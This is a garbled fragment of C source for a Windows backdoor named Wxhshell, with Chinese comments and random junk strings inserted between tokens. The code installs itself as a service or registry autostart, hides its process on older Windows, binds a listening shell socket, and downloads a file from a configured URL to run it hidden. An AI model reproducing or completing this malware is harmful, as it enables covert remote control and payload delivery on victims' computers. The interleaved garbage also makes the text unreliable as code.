以服务启动 ^f3F~XhY3 F Fg0} return 0; // 注册表启动 =(Gv_ } `$MO.K{ gI\J sN // 主模块 3+n&Ya1 int StartWxhshell(LPSTR lpCmdLine) \B2=E { d@] 0 =Ax SOCKET wsl; PX]A1Kt? BOOL val=TRUE; ShGR!r< int port=0; HESwz{eSS struct sockaddr_in door; }>)"!p;t_ wPqIy}- if(wscfg.ws_autoins) Install(); Qj0@^LA r,yhc = port=atoi(lpCmdLine); |? r,W~9` c#CX~ if(port<=0) port=wscfg.ws_port; ;[dcbyu@ dVCBpCxI WSADATA data; !>t|vgW if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rJ!xzge;G UXIq>[2Z1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .F
3v) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2v%~KV door.sin_family = AF_INET; GHYgSS door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6aMqU?- door.sin_port = htons(port); U_M > Q_r( $C^94$W if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v?d~H`L closesocket(wsl); JNX7]j\ return 1; "v^Q
! } $i~DUT( Pf@8C{I if(listen(wsl,2) == INVALID_SOCKET) { k[G? 22t closesocket(wsl); Cww$ A %} return 1; _W?}%; } ze,HNFg@> Wxhshell(wsl); ,|T
WSACleanup(); s(wbsRVP8 t;y>q return 0; wl5!f| t^u X9yvx } 7,Z%rqf\) G}f.fRY // 以NT服务方式启动 rxm!'.+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vco:6Ab$ { X$%RJ3t e DWORD status = 0; ZH~m%sA DWORD specificError = 0xfffffff; Hyq|%\A C Q3;NY=o serviceStatus.dwServiceType = SERVICE_WIN32; s*(Y<Ap7d serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4MIL#1s serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; my*UN_] serviceStatus.dwWin32ExitCode = 0; Mx$VAV^\ serviceStatus.dwServiceSpecificExitCode = 0; 9\Yj`,i5 serviceStatus.dwCheckPoint = 0; xPsuDi8u serviceStatus.dwWaitHint = 0; htMpL ogjm6; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H={fY:% if (hServiceStatusHandle==0) return; T#er5WOH lR;<6 status = GetLastError(); 1 ht4LRFi if (status!=NO_ERROR) nm\n\j~ { xNq&_oY7 serviceStatus.dwCurrentState = SERVICE_STOPPED; F/@#yQv? serviceStatus.dwCheckPoint = 0; ~u}[VP serviceStatus.dwWaitHint = 0; wm@1jLjrQ serviceStatus.dwWin32ExitCode = status; WWq)CwR serviceStatus.dwServiceSpecificExitCode = specificError; 0W]Wu[k SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cw Z{& return; ;:"~utL7 } ,:;nq> ; u4+)lvt serviceStatus.dwCurrentState = SERVICE_RUNNING; _!w# {5~ serviceStatus.dwCheckPoint = 0; Ak>RLD25_ serviceStatus.dwWaitHint = 0; =X-$kk if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0~n=|3*P } CBi
V':; iFga==rw // 处理NT服务事件,比如:启动、停止 }5DyNfZ]+0 VOID WINAPI NTServiceHandler(DWORD fdwControl) (Rs<'1+> { \<;/)!Nmw switch(fdwControl) O^sgUT1O { p&XbXg- case SERVICE_CONTROL_STOP: "FG6R' serviceStatus.dwWin32ExitCode = 0; VWbgusxJ serviceStatus.dwCurrentState = SERVICE_STOPPED; )`;?%N\ serviceStatus.dwCheckPoint = 0; M#
S:'WN serviceStatus.dwWaitHint = 0; LH<--#K { nQ/(*d SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8!:4m"Y } nLo:\I( return; mN~;MR; case SERVICE_CONTROL_PAUSE: C5;"mo- serviceStatus.dwCurrentState = SERVICE_PAUSED; ~_^nWT*BV break; b/
~&M+) case SERVICE_CONTROL_CONTINUE: ]iPTB serviceStatus.dwCurrentState = SERVICE_RUNNING; _0Wdm* break; -,zNFC:6g case SERVICE_CONTROL_INTERROGATE: !~>u\h break; :Wb+&|dU }; EY> %#0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6=|Q>[K } @8V8gV?zm Z>Sv[Ec // 标准应用程序主函数 2+y4Gd 7 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RZDZ3W(;h { 8FbBv"LI,g > `z^AB // 获取操作系统版本 Z$6W)~;, OsIsNt=GetOsVer(); |%b' L.$4 GetModuleFileName(NULL,ExeFile,MAX_PATH); &z%7Nu /R
F#B#9 // 从命令行安装 -+O8v;aC' if(strpbrk(lpCmdLine,"iI")) Install(); P]!eM( C]eb=rw$ // 下载执行文件 P#76ehR]K if(wscfg.ws_downexe) { Pf(z0o& if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5 _] i==M WinExec(wscfg.ws_filenam,SW_HIDE); ydoCoD
w } u~a<Psp&| 'nW:2(J if(!OsIsNt) { R},mq&f5 // 如果时win9x,隐藏进程并且设置为注册表启动 2b3x|9o8 HideProc(); Hyc19| StartWxhshell(lpCmdLine);
W)j/[ } FDpNM\SR1l else DAc jx:~ if(StartFromService()) qItj`F)d // 以服务方式启动 kj+AsQC, StartServiceCtrlDispatcher(DispatchTable); umD . else `[Z?&'CRQ // 普通方式启动 oh,Nu_! StartWxhshell(lpCmdLine); IsnC_"f S@T>u,t' return 0; `YIpZ
rB }
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